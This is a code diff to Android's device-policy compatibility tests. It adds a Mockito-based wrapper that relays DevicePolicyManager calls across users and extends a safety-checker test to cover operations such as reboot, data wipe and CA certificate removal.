@@ -69,10 +72,12 @@
dismiss();
});
- RelativeLayout rootView = new RelativeLayout(context);
+ LinearLayout rootView = new LinearLayout(context);
+ rootView.setOrientation(LinearLayout.VERTICAL);
+ rootView.setGravity(Gravity.CENTER);
rootView.setBackgroundColor(Color.WHITE);
rootView.addView(title);
rootView.addView(button);
return rootView;
}
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
index 2f48dce..dee06b6 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
@@ -15,10 +15,14 @@
*/
package com.android.cts.deviceowner;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.annotation.UserIdInt;
import android.app.Instrumentation;
import android.app.admin.DevicePolicyManager;
import android.content.ComponentName;
import android.content.pm.PackageManager;
+import android.os.UserHandle;
import android.support.test.uiautomator.UiDevice;
import android.test.AndroidTestCase;
@@ -38,6 +42,8 @@
protected Instrumentation mInstrumentation;
protected UiDevice mDevice;
protected boolean mHasSecureLockScreen;
+ /** User running the test (obtained from {@code mContext}). */
+ protected @UserIdInt int mUserId;
@Override
protected void setUp() throws Exception {
@@ -45,17 +51,27 @@
mInstrumentation = InstrumentationRegistry.getInstrumentation();
mDevice = UiDevice.getInstance(mInstrumentation);
- mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
+ mDevicePolicyManager = DevicePolicyManagerWrapper.get(mContext);
mHasSecureLockScreen = mContext.getPackageManager().hasSystemFeature(
PackageManager.FEATURE_SECURE_LOCK_SCREEN);
+ mUserId = mContext.getUserId();
+
assertDeviceOwner();
}
private void assertDeviceOwner() {
- assertNotNull(mDevicePolicyManager);
- assertTrue(mDevicePolicyManager.isAdminActive(getWho()));
- assertTrue(mDevicePolicyManager.isDeviceOwnerApp(mContext.getPackageName()));
- assertFalse(mDevicePolicyManager.isManagedProfile(getWho()));
+ int myUserId = UserHandle.myUserId();
+ assertWithMessage("DPM for user %s", myUserId).that(mDevicePolicyManager).isNotNull();
+
+ ComponentName admin = getWho();
+ assertWithMessage("Component %s is admin for user %s", admin, myUserId)
+ .that(mDevicePolicyManager.isAdminActive(admin)).isTrue();
+
+ String pkgName = mContext.getPackageName();
+ assertWithMessage("Component %s is device owner for user %s", admin, myUserId)
+ .that(mDevicePolicyManager.isDeviceOwnerApp(pkgName)).isTrue();
+ assertWithMessage("Component %s is profile owner for user %s", admin, myUserId)
+ .that(mDevicePolicyManager.isManagedProfile(admin)).isFalse();
}
protected ComponentName getWho() {
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BasicAdminReceiver.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BasicAdminReceiver.java
index 37b3ed7..efab90d 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BasicAdminReceiver.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BasicAdminReceiver.java
@@ -20,6 +20,7 @@
import android.content.Context;
import android.content.Intent;
import android.os.UserHandle;
+
import androidx.localbroadcastmanager.content.LocalBroadcastManager;
public class BasicAdminReceiver extends DeviceAdminReceiver {
@@ -40,6 +41,15 @@
}
@Override
+ public void onReceive(Context context, Intent intent) {
+ if (intent.getAction().equals(DevicePolicyManagerWrapper.ACTION_WRAPPED_DPM_CALL)) {
+ DevicePolicyManagerWrapper.onReceive(this, context, intent);
+ return;
+ }
+ super.onReceive(context, intent);
+ }
+
+ @Override
public void onUserAdded(Context context, Intent intent, UserHandle userHandle) {
super.onUserAdded(context, intent, userHandle);
sendUserBroadcast(context, ACTION_USER_ADDED, userHandle);
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicyManagerWrapper.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicyManagerWrapper.java
new file mode 100644
index 0000000..8ff7e4a
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicyManagerWrapper.java
@@ -0,0 +1,409 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceowner;
+
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static org.junit.Assert.fail;
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.anyLong;
+import static org.mockito.Mockito.doAnswer;
+
+import android.annotation.Nullable;
+import android.app.admin.DeviceAdminReceiver;
+import android.app.admin.DevicePolicyManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.Parcelable;
+import android.os.UserHandle;
+import android.os.UserManager;
+import android.util.DebugUtils;
+import android.util.Log;
+import android.util.Slog;
+
+import org.mockito.Mockito;
+import org.mockito.stubbing.Answer;
+
+import java.io.Serializable;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+
+/**
+ * Class used to create to provide a {@link DevicePolicyManager} implementation that automatically
+ * funnels calls between the user running the tests and the user that is the device owner.
+ */
+// TODO(b/176993670): STOPSHIP - it currently uses ordered broadcasts and a Mockito spy to implement
+// the IPC between users, but before S is shipped it should be changed to use the connected apps SDK
+// or the new CTS infrastructure.
+public final class DevicePolicyManagerWrapper {
+
+ private static final String TAG = DevicePolicyManagerWrapper.class.getSimpleName();
+ private static final boolean VERBOSE = false;
+
+ static final String ACTION_WRAPPED_DPM_CALL =
+ "com.android.cts.deviceowner.action.WRAPPED_DPM_CALL";
+
+ private static final String EXTRA_METHOD = "methodName";
+ private static final String EXTRA_NUMBER_ARGS = "number_args";
+ private static final String EXTRA_ARG_PREFIX = "arg_";
+
+ // NOTE: Bundle has a putObject() method that would make it much easier to marshal the args,
+ // but unfortunately there is no Intent.putObjectExtra() method (and intent.getBundle() returns
+ // a copy, so we need to explicitly marshal any supported type).
+ private static final String TYPE_BOOLEAN = "boolean";
+ private static final String TYPE_STRING = "string";
+ private static final String TYPE_LONG = "long";
+ private static final String TYPE_PARCELABLE = "parcelable";
+ private static final String TYPE_SERIALIZABLE = "serializable";
+ private static final String TYPE_ARRAY_LIST_STRING = "array_list_string";
+
+ public static final int RESULT_OK = 42;
+ public static final int RESULT_EXCEPTION = 666;
+
+ private static final int TIMEOUT_MS = 15_000;
+
+ private static final HashMap<Context, DevicePolicyManager> sSpies = new HashMap<>();
+
+ /***
+ * Gets the {@link DevicePolicyManager} for the given context.
+ *
+ * <p>Tests should use this method to get a {@link DevicePolicyManager} instance.
+ */
+ public static DevicePolicyManager get(Context context) {
+ int userId = context.getUserId();
+ DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
+
+ if (!UserManager.isHeadlessSystemUserMode()) {
+ if (VERBOSE) Log.v(TAG, "get(): returning 'pure' DevicePolicyManager: " + dpm);
+ return dpm;
+ }
+
+ DevicePolicyManager spy = sSpies.get(context);
+ if (spy != null) {
+ Log.d(TAG, "get(): returning cached spy for context " + context + " and user "
+ + userId);
+ return spy;
+ }
+
+ spy = Mockito.spy(dpm);
+
+ Answer<?> answer = (inv) -> {
+ Slog.d(TAG, "spying " + inv);
+ Object[] args = inv.getArguments();
+ String methodName = inv.getMethod().getName();
+ Intent intent = new Intent(ACTION_WRAPPED_DPM_CALL)
+ .setClassName(context, BasicAdminReceiver.class.getName())
+ .putExtra(EXTRA_METHOD, methodName)
+ .putExtra(EXTRA_NUMBER_ARGS, args.length);
+ for (int i = 0; i < args.length; i++) {
+ addArg(intent, args, i);
+ }
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final AtomicReference<Result> resultRef = new AtomicReference<>();
+ BroadcastReceiver myReceiver = new BroadcastReceiver() {
+ public void onReceive(Context context, Intent intent) {
+ if (VERBOSE) {
+ Log.v(TAG, "spy received intent " + intent.getAction() + " for user "
+ + context.getUserId());
+ }
+ Result result = new Result(this);
+ if (VERBOSE) Log.v(TAG, "result:" + result);
+ resultRef.set(result);
+ latch.countDown();
+ };
+
+ };
+ if (VERBOSE) {
+ Log.v(TAG, "Broadcasting intent from user " + userId + " to user "
+ + UserHandle.SYSTEM);
+ }
+ runWithShellPermissionIdentity(() -> context.sendOrderedBroadcastAsUser(intent,
+ UserHandle.SYSTEM, /* permission= */ null, myReceiver, /* scheduler= */ null,
+ /* initialCode= */ 0, /* initialData= */ null, /* initialExtras= */ null));
+
+ if (VERBOSE) Log.d(TAG, "Waiting for response");
+ if (!latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+ fail("Ordered broadcast for " + methodName + "() not received in " + TIMEOUT_MS
+ + "ms");
+ }
+
+ Result result = resultRef.get();
+ Log.d(TAG, "Received result on user " + userId + ": " + result);
+
+ switch (result.code) {
+ case RESULT_OK:
+ return result.value;
+ case RESULT_EXCEPTION:
+ throw (Exception) result.value;
+ default:
+ fail("Received invalid result" + result);
+ return null;
+ }
+ };
+
+ // TODO(b/176993670): ideally there should be a way to automatically mock all DPM methods,
+ // but that's probably not doable, as there is no contract (such as an interface) to specify
+ // which ones should be spied and which ones should not (in fact, if there was an interface,
+ // we wouldn't need Mockito and could wrap the calls using java's DynamicProxy
+
+ // Basic methods used by most tests
+ doAnswer(answer).when(spy).isAdminActive(any());
+ doAnswer(answer).when(spy).isDeviceOwnerApp(any());
+ doAnswer(answer).when(spy).isManagedProfile(any());
+ doAnswer(answer).when(spy).isProfileOwnerApp(any());
+ doAnswer(answer).when(spy).isAffiliatedUser();
+
+ // Used by SetTimeTest
+ doAnswer(answer).when(spy).setTime(any(), anyLong());
+ doAnswer(answer).when(spy).setTimeZone(any(), any());
+ doAnswer(answer).when(spy).setGlobalSetting(any(), any(), any());
+
+ // Used by UserControlDisabledPackagesTest
+ doAnswer(answer).when(spy).setUserControlDisabledPackages(any(), any());
+ doAnswer(answer).when(spy).getUserControlDisabledPackages(any());
+
+ // TODO(b/176993670): add more methods below as tests are converted
+
+ sSpies.put(context, spy);
+ Log.d(TAG, "get(): returning new spy for context " + context + " and user "
+ + userId);
+
+ return spy;
+ }
+
+ /**
+ * Handles the wrapped DPM call received by the {@link DeviceAdminReceiver}.
+ */
+ static void onReceive(DeviceAdminReceiver receiver, Context context, Intent intent) {
+ try {
+ String methodName = intent.getStringExtra(EXTRA_METHOD);
+ int numberArgs = intent.getIntExtra(EXTRA_NUMBER_ARGS, 0);
+ Log.d(TAG, "onReceive(): userId=" + context.getUserId()
+ + ", intent=" + intent.getAction() + ", methodName=" + methodName
+ + ", numberArgs=" + numberArgs);
+ Object[] args = null;
+ if (numberArgs > 0) {
+ args = new Object[numberArgs];
+ Bundle extras = intent.getExtras();
+ for (int i = 0; i < numberArgs; i++) {
+ getArg(extras, args, i);
+ }
+ Log.d(TAG, "onReceive(): args=" + Arrays.toString(args));
+ }
+
+ Method method = null;
+ for (Method candidate : DevicePolicyManager.class.getDeclaredMethods()) {
+ if (candidate.getName().equals(methodName)) {
+ // TODO(b/176993670): might need to use args to infer proper method if it's
+ // overloaded
+ method = candidate;
+ break;
+ }
+ }
+ if (method == null) {
+ sendError(receiver, new IllegalArgumentException(
+ "Could not find method " + methodName + " using reflection"));
+ return;
+ }
+ Object result = method.invoke(receiver.getManager(context), args);
+ Log.d(TAG, "onReceive(): result=" + result);
+ sendResult(receiver, result);
+ } catch (Exception e) {
+ sendError(receiver, e);
+ }
+ return;
+ }
+
+
+ static void addArg(Intent intent, Object[] args, int index) {
+ Object value = args[index];
+ String extraTypeName = getArgExtraTypeName(index);
+ String extraValueName = getArgExtraValueName(index);
+ if (VERBOSE) {
+ Log.v(TAG, "addArg(" + index + "): typeName= " + extraTypeName
+ + ", valueName= " + extraValueName);
+ }
+ if ((value instanceof Boolean)) {
+ logMarshalling("Adding Boolean", index, extraTypeName, TYPE_BOOLEAN,
+ extraValueName, value);
+ intent.putExtra(extraTypeName, TYPE_BOOLEAN);
+ intent.putExtra(extraValueName, ((Boolean) value).booleanValue());
+ return;
+ }
+ if ((value instanceof String)) {
+ logMarshalling("Adding String", index, extraTypeName, TYPE_STRING,
+ extraValueName, value);
+ intent.putExtra(extraTypeName, TYPE_STRING);
+ intent.putExtra(extraValueName, (String) value);
+ return;
+ }
+ if ((value instanceof Long)) {
+ logMarshalling("Adding Long", index, extraTypeName, TYPE_LONG,
+ extraValueName, value);
+ intent.putExtra(extraTypeName, TYPE_LONG);
+ intent.putExtra(extraValueName, ((Long) value).longValue());
+ return;
+ }
+ if ((value instanceof Parcelable)) {
+ logMarshalling("Adding Parcelable", index, extraTypeName, TYPE_PARCELABLE,
+ extraValueName, value);
+ intent.putExtra(extraTypeName, TYPE_PARCELABLE);
+ intent.putExtra(extraValueName, (Parcelable) value);
+ return;
+ }
+ if ((value instanceof Serializable)) {
+ logMarshalling("Adding Serializable", index, extraTypeName, TYPE_SERIALIZABLE,
+ extraValueName, value);
+ intent.putExtra(extraTypeName, TYPE_SERIALIZABLE);
+ intent.putExtra(extraValueName, (Serializable) value);
+ return;
+ }
+ if ((value instanceof ArrayList<?>)) {
+ ArrayList<?> arrayList = (ArrayList<?>) value;
+ String type = null;
+ if (arrayList.isEmpty()) {
+ Log.w(TAG, "Empty list at index " + index + "; assuming it's ArrayList<String>");
+ } else {
+ Object firstItem = arrayList.get(0);
+ if (!(firstItem instanceof String)) {
+ throw new IllegalArgumentException("Unsupported ArrayList type at index "
+ + index + ": " + firstItem);
+ }
+ logMarshalling("Adding ArrayList<String>", index, extraTypeName,
+ TYPE_ARRAY_LIST_STRING, extraValueName, value);
+ intent.putExtra(extraTypeName, TYPE_ARRAY_LIST_STRING);
+ intent.putExtra(extraValueName, (ArrayList<String>) arrayList);
+ }
+ return;
+ }
+
+ throw new IllegalArgumentException("Unsupported value type at index " + index + ": "
+ + value.getClass());
+ }
+
+ static void getArg(Bundle extras, Object[] args, int index) {
+ String extraTypeName = getArgExtraTypeName(index);
+ String extraValueName = getArgExtraValueName(index);
+ String type = extras.getString(extraTypeName);
+ if (VERBOSE) {
+ Log.v(TAG, "getArg(" + index + "): typeName= " + extraTypeName + ", type=" + type
+ + ", valueName= " + extraValueName);
+ }
+ Object value = null;
+ switch (type) {
+ case TYPE_ARRAY_LIST_STRING:
+ case TYPE_STRING:
+ case TYPE_BOOLEAN:
+ case TYPE_LONG:
+ case TYPE_PARCELABLE:
+ case TYPE_SERIALIZABLE:
+ value = extras.get(extraValueName);
+ logMarshalling("Got generic", index, extraTypeName, type, extraValueName,
+ value);
+ break;
+ default:
+ throw new IllegalArgumentException("Unsupported value type at index " + index + ": "
+ + extraTypeName);
+ }
+ args[index] = value;
+ }
+
+ static String getArgExtraTypeName(int index) {
+ return EXTRA_ARG_PREFIX + index + "_type";
+ }
+
+ static String getArgExtraValueName(int index) {
+ return EXTRA_ARG_PREFIX + index + "_value";
+ }
+
+ private static void logMarshalling(String operation, int index, String typeName,
+ String type, String valueName, Object value) {
+ if (VERBOSE) {
+ Log.v(TAG, operation + " on " + index + ": typeName=" + typeName + ", type=" + type
+ + ", valueName=" + valueName + ", value=" + value);
+ }
+ }
+
+ private static void sendError(DeviceAdminReceiver receiver, Exception e) {
+ Log.e(TAG, "Exception handling wrapped DPC call" , e);
+ sendNoLog(receiver, RESULT_EXCEPTION, e);
+ }
+
+ private static void sendResult(DeviceAdminReceiver receiver, Object result) {
+ if (VERBOSE) Log.v(TAG, "Returning " + result);
+ sendNoLog(receiver, RESULT_OK, result);
+ }
+
+ private static void sendNoLog(DeviceAdminReceiver receiver, int code, Object result) {
+ receiver.setResultCode(code);
+ if (result != null) {
+ Intent intent = new Intent();
+ addArg(intent, new Object[] { result }, /* index= */ 0);
+ receiver.setResultExtras(intent.getExtras());
+ }
+ }
+
+ private static String resultCodeToString(int code) {
+ return DebugUtils.constantToString(DevicePolicyManagerWrapper.class, "RESULT_", code);
+ }
+
+ private DevicePolicyManagerWrapper() {
+ throw new UnsupportedOperationException("contains only static methods");
+ }
+
+ private static final class Result {
+ public final int code;
+ @Nullable public final String error;
+ @Nullable public final Bundle extras;
+ @Nullable public final Object value;
+
+ Result(BroadcastReceiver receiver) {
+ int resultCode = receiver.getResultCode();
+ String data = receiver.getResultData();
+ extras = receiver.getResultExtras(/* makeMap= */ true);
+ Object parsedValue = null;
+ try {
+ if (extras != null && !extras.isEmpty()) {
+ Object[] result = new Object[1];
+ int index = 0;
+ getArg(extras, result, index);
+ parsedValue = result[index];
+ }
+ } catch (Exception e) {
+ Log.e(TAG, "error parsing extras (code=" + resultCode + ", data=" + data, e);
+ data = "error parsing extras";
+ resultCode = RESULT_EXCEPTION;
+ }
+ code = resultCode;
+ error = data;
+ value = parsedValue;
+ }
+
+ @Override
+ public String toString() {
+ return "Result[code=" + resultCodeToString(code) + ", error=" + error
+ + ", extras=" + extras + ", value=" + value + "]";
+ }
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
index 984444d..7578e8d 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
@@ -16,26 +16,72 @@
package com.android.cts.deviceowner;
import static android.app.admin.DevicePolicyManager.OPERATION_CREATE_AND_MANAGE_USER;
+import static android.app.admin.DevicePolicyManager.OPERATION_REBOOT;
import static android.app.admin.DevicePolicyManager.OPERATION_REMOVE_USER;
+import static android.app.admin.DevicePolicyManager.OPERATION_REQUEST_BUGREPORT;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_APPLICATION_HIDDEN;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_APPLICATION_RESTRICTIONS;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_CAMERA_DISABLED;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_FACTORY_RESET_PROTECTION_POLICY;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_GLOBAL_PRIVATE_DNS;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_KEEP_UNINSTALLED_PACKAGES;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_KEYGUARD_DISABLED;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_LOCK_TASK_FEATURES;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_LOCK_TASK_PACKAGES;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_LOGOUT_ENABLED;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_OVERRIDE_APNS_ENABLED;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_PACKAGES_SUSPENDED;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_STATUS_BAR_DISABLED;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_SYSTEM_SETTING;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_SYSTEM_UPDATE_POLICY;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_TRUST_AGENT_CONFIGURATION;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_USER_CONTROL_DISABLED_PACKAGES;
import static android.app.admin.DevicePolicyManager.OPERATION_START_USER_IN_BACKGROUND;
import static android.app.admin.DevicePolicyManager.OPERATION_STOP_USER;
import static android.app.admin.DevicePolicyManager.OPERATION_SWITCH_USER;
+import static android.app.admin.DevicePolicyManager.OPERATION_UNINSTALL_CA_CERT;
+import static android.app.admin.DevicePolicyManager.OPERATION_WIPE_DATA;
import android.app.admin.DevicePolicyManager;
+import android.app.admin.FactoryResetProtectionPolicy;
+import android.content.ComponentName;
+import android.os.Bundle;
import android.os.UserHandle;
import com.android.cts.devicepolicy.DevicePolicySafetyCheckerIntegrationTester;
+import java.util.Arrays;
+import java.util.List;
+
// TODO(b/174859111): move to automotive-only section
/**
* Tests that DPM calls fail when determined by the
* {@link android.app.admin.DevicePolicySafetyChecker}.
*/
public final class DevicePolicySafetyCheckerIntegrationTest extends BaseDeviceOwnerTest {
-
private static final int NO_FLAGS = 0;
private static final UserHandle USER_HANDLE = UserHandle.of(42);
-
+ public static final String TEST_PACKAGE = BasicAdminReceiver.class.getPackage().getName();
+ public static final ComponentName TEST_COMPONENT = new ComponentName(
+ TEST_PACKAGE, BasicAdminReceiver.class.getName());
+ public static final List<String> TEST_ACCOUNTS = Arrays.asList("Account 1");
+ public static final List<String> TEST_PACKAGES = Arrays.asList(TEST_PACKAGE);
+ private static final String TEST_CA =
+ "-----BEGIN CERTIFICATE-----\n"
+ + "MIICVzCCAgGgAwIBAgIJAMvnLHnnfO/IMA0GCSqGSIb3DQEBBQUAMIGGMQswCQYD\n"
+ + "VQQGEwJJTjELMAkGA1UECAwCQVAxDDAKBgNVBAcMA0hZRDEVMBMGA1UECgwMSU1G\n"
+ + "TCBQVlQgTFREMRAwDgYDVQQLDAdJTUZMIE9VMRIwEAYDVQQDDAlJTUZMLklORk8x\n"
+ + "HzAdBgkqhkiG9w0BCQEWEHJhbWVzaEBpbWZsLmluZm8wHhcNMTMwODI4MDk0NDA5\n"
+ + "WhcNMjMwODI2MDk0NDA5WjCBhjELMAkGA1UEBhMCSU4xCzAJBgNVBAgMAkFQMQww\n"
+ + "CgYDVQQHDANIWUQxFTATBgNVBAoMDElNRkwgUFZUIExURDEQMA4GA1UECwwHSU1G\n"
+ + "TCBPVTESMBAGA1UEAwwJSU1GTC5JTkZPMR8wHQYJKoZIhvcNAQkBFhByYW1lc2hA\n"
+ + "aW1mbC5pbmZvMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJ738cbTQlNIO7O6nV/f\n"
+ + "DJTMvWbPkyHYX8CQ7yXiAzEiZ5bzKJjDJmpRAkUrVinljKns2l6C4++l/5A7pFOO\n"
+ + "33kCAwEAAaNQME4wHQYDVR0OBBYEFOdbZP7LaMbgeZYPuds2CeSonmYxMB8GA1Ud\n"
+ + "IwQYMBaAFOdbZP7LaMbgeZYPuds2CeSonmYxMAwGA1UdEwQFMAMBAf8wDQYJKoZI\n"
+ + "hvcNAQEFBQADQQBdrk6J9koyylMtl/zRfiMAc2zgeC825fgP6421NTxs1rjLs1HG\n"
+ + "VcUyQ1/e7WQgOaBHi9TefUJi+4PSVSluOXon\n"
+ + "-----END CERTIFICATE-----";
private final DevicePolicySafetyCheckerIntegrationTester mTester =
new DevicePolicySafetyCheckerIntegrationTester() {
@@ -43,30 +89,137 @@
protected int[] getSafetyAwareOperations() {
return new int [] {
OPERATION_CREATE_AND_MANAGE_USER,
+ // TODO(b/175245108) Add test for this operation; testing
+ // dpm.installSystemUpdate will require upload a test system update file.
+ // OPERATION_INSTALL_SYSTEM_UPDATE,
+ OPERATION_REBOOT,
OPERATION_REMOVE_USER,
+ OPERATION_REQUEST_BUGREPORT,
+ OPERATION_SET_APPLICATION_HIDDEN,
+ OPERATION_SET_APPLICATION_RESTRICTIONS,
+ OPERATION_SET_CAMERA_DISABLED,
+ OPERATION_SET_FACTORY_RESET_PROTECTION_POLICY,
+ OPERATION_SET_GLOBAL_PRIVATE_DNS,
+ OPERATION_SET_KEEP_UNINSTALLED_PACKAGES,
+ OPERATION_SET_KEYGUARD_DISABLED,
+ OPERATION_SET_LOCK_TASK_FEATURES,
+ OPERATION_SET_LOCK_TASK_PACKAGES,
+ OPERATION_SET_LOGOUT_ENABLED,
+ OPERATION_SET_OVERRIDE_APNS_ENABLED,
+ OPERATION_SET_PACKAGES_SUSPENDED,
+ OPERATION_SET_STATUS_BAR_DISABLED,
+ OPERATION_SET_SYSTEM_SETTING,
+ OPERATION_SET_SYSTEM_UPDATE_POLICY,
+ OPERATION_SET_TRUST_AGENT_CONFIGURATION,
+ OPERATION_SET_USER_CONTROL_DISABLED_PACKAGES,
OPERATION_START_USER_IN_BACKGROUND,
OPERATION_STOP_USER,
- OPERATION_SWITCH_USER};
+ OPERATION_SWITCH_USER,
+ OPERATION_UNINSTALL_CA_CERT,
+ OPERATION_WIPE_DATA
+ };
}
@Override
- protected void runOperation(DevicePolicyManager dpm, int operation, boolean overloaded) {
+ protected int[] getOverloadedSafetyAwareOperations() {
+ return new int [] {
+ OPERATION_WIPE_DATA
+ };
+ }
+
+ @Override
+ protected void runOperation(DevicePolicyManager dpm, ComponentName admin, int operation,
+ boolean overloaded) {
switch (operation) {
case OPERATION_CREATE_AND_MANAGE_USER:
- dpm.createAndManageUser(/* admin= */ getWho(), /* name= */ null,
- /* profileOwner= */ getWho(), /* adminExtras= */ null, NO_FLAGS);
+ dpm.createAndManageUser(admin, /* name= */ null, admin, /* adminExtras= */ null,
+ NO_FLAGS);
+ break;
+ case OPERATION_REBOOT:
+ dpm.reboot(admin);
break;
case OPERATION_REMOVE_USER:
- dpm.removeUser(getWho(), USER_HANDLE);
+ dpm.removeUser(admin, USER_HANDLE);
+ break;
+ case OPERATION_REQUEST_BUGREPORT:
+ dpm.requestBugreport(admin);
+ break;
+ case OPERATION_SET_APPLICATION_HIDDEN:
+ dpm.setApplicationHidden(admin, TEST_PACKAGE, /* hidden= */true);
+ break;
+ case OPERATION_SET_APPLICATION_RESTRICTIONS:
+ dpm.setApplicationRestrictions(admin, TEST_PACKAGE, new Bundle());
+ break;
+ case OPERATION_SET_CAMERA_DISABLED:
+ dpm.setCameraDisabled(admin, /* disabled= */ true);
+ break;
+ case OPERATION_SET_FACTORY_RESET_PROTECTION_POLICY:
+ dpm.setFactoryResetProtectionPolicy(admin,
+ new FactoryResetProtectionPolicy.Builder()
+ .setFactoryResetProtectionAccounts(TEST_ACCOUNTS)
+ .setFactoryResetProtectionEnabled(false)
+ .build());
+ break;
+ case OPERATION_SET_GLOBAL_PRIVATE_DNS:
+ dpm.setGlobalPrivateDnsModeOpportunistic(admin);
+ break;
+ case OPERATION_SET_KEEP_UNINSTALLED_PACKAGES:
+ dpm.setKeepUninstalledPackages(admin, TEST_PACKAGES);
+ break;
+ case OPERATION_SET_KEYGUARD_DISABLED:
+ dpm.setKeyguardDisabled(admin, true);
+ break;
+ case OPERATION_SET_LOCK_TASK_FEATURES:
+ dpm.setLockTaskFeatures(admin, NO_FLAGS);
+ break;
+ case OPERATION_SET_LOCK_TASK_PACKAGES:
+ dpm.setLockTaskPackages(admin, new String[] { TEST_PACKAGE });
+ break;
+ case OPERATION_SET_LOGOUT_ENABLED:
+ dpm.setLogoutEnabled(admin, /* enabled */ true);
+ break;
+ case OPERATION_SET_OVERRIDE_APNS_ENABLED:
+ dpm.setOverrideApnsEnabled(admin, /* enabled */ true);
+ break;
+ case OPERATION_SET_PACKAGES_SUSPENDED:
+ dpm.setPackagesSuspended(admin, new String[] { TEST_PACKAGE },
+ /* suspend= */ true);
+ break;
+ case OPERATION_SET_STATUS_BAR_DISABLED:
+ dpm.setStatusBarDisabled(admin, true);
+ break;
+ case OPERATION_SET_SYSTEM_SETTING:
+ dpm.setSystemSetting(admin, "TestSetting", "0");
+ break;
+ case OPERATION_SET_SYSTEM_UPDATE_POLICY:
+ dpm.setSystemUpdatePolicy(admin, null);
+ break;
+ case OPERATION_SET_TRUST_AGENT_CONFIGURATION:
+ dpm.setTrustAgentConfiguration(admin, TEST_COMPONENT,
+ /* configuration= */ null);
+ break;
+ case OPERATION_SET_USER_CONTROL_DISABLED_PACKAGES:
+ dpm.setUserControlDisabledPackages(admin, TEST_PACKAGES);
break;
case OPERATION_START_USER_IN_BACKGROUND:
- dpm.startUserInBackground(getWho(), USER_HANDLE);
+ dpm.startUserInBackground(admin, USER_HANDLE);
break;
case OPERATION_STOP_USER:
- dpm.stopUser(getWho(), USER_HANDLE);
+ dpm.stopUser(admin, USER_HANDLE);
break;
case OPERATION_SWITCH_USER:
- dpm.switchUser(getWho(), USER_HANDLE);
+ dpm.switchUser(admin, USER_HANDLE);
+ break;
+ case OPERATION_UNINSTALL_CA_CERT:
+ dpm.uninstallCaCert(admin, TEST_CA.getBytes());
+ break;
+ case OPERATION_WIPE_DATA:
+ if (overloaded) {
+ dpm.wipeData(NO_FLAGS,
+ /* reason= */ "DevicePolicySafetyCheckerIntegrationTest");
+ } else {
+ dpm.wipeData(NO_FLAGS);
+ }
break;
default:
throwUnsupportedOperationException(operation, overloaded);
@@ -78,6 +231,6 @@
* Tests that all safety-aware operations are properly implemented.
*/
public void testAllOperations() {
- mTester.testAllOperations(mDevicePolicyManager);
+ mTester.testAllOperations(mDevicePolicyManager, getWho());
}
}
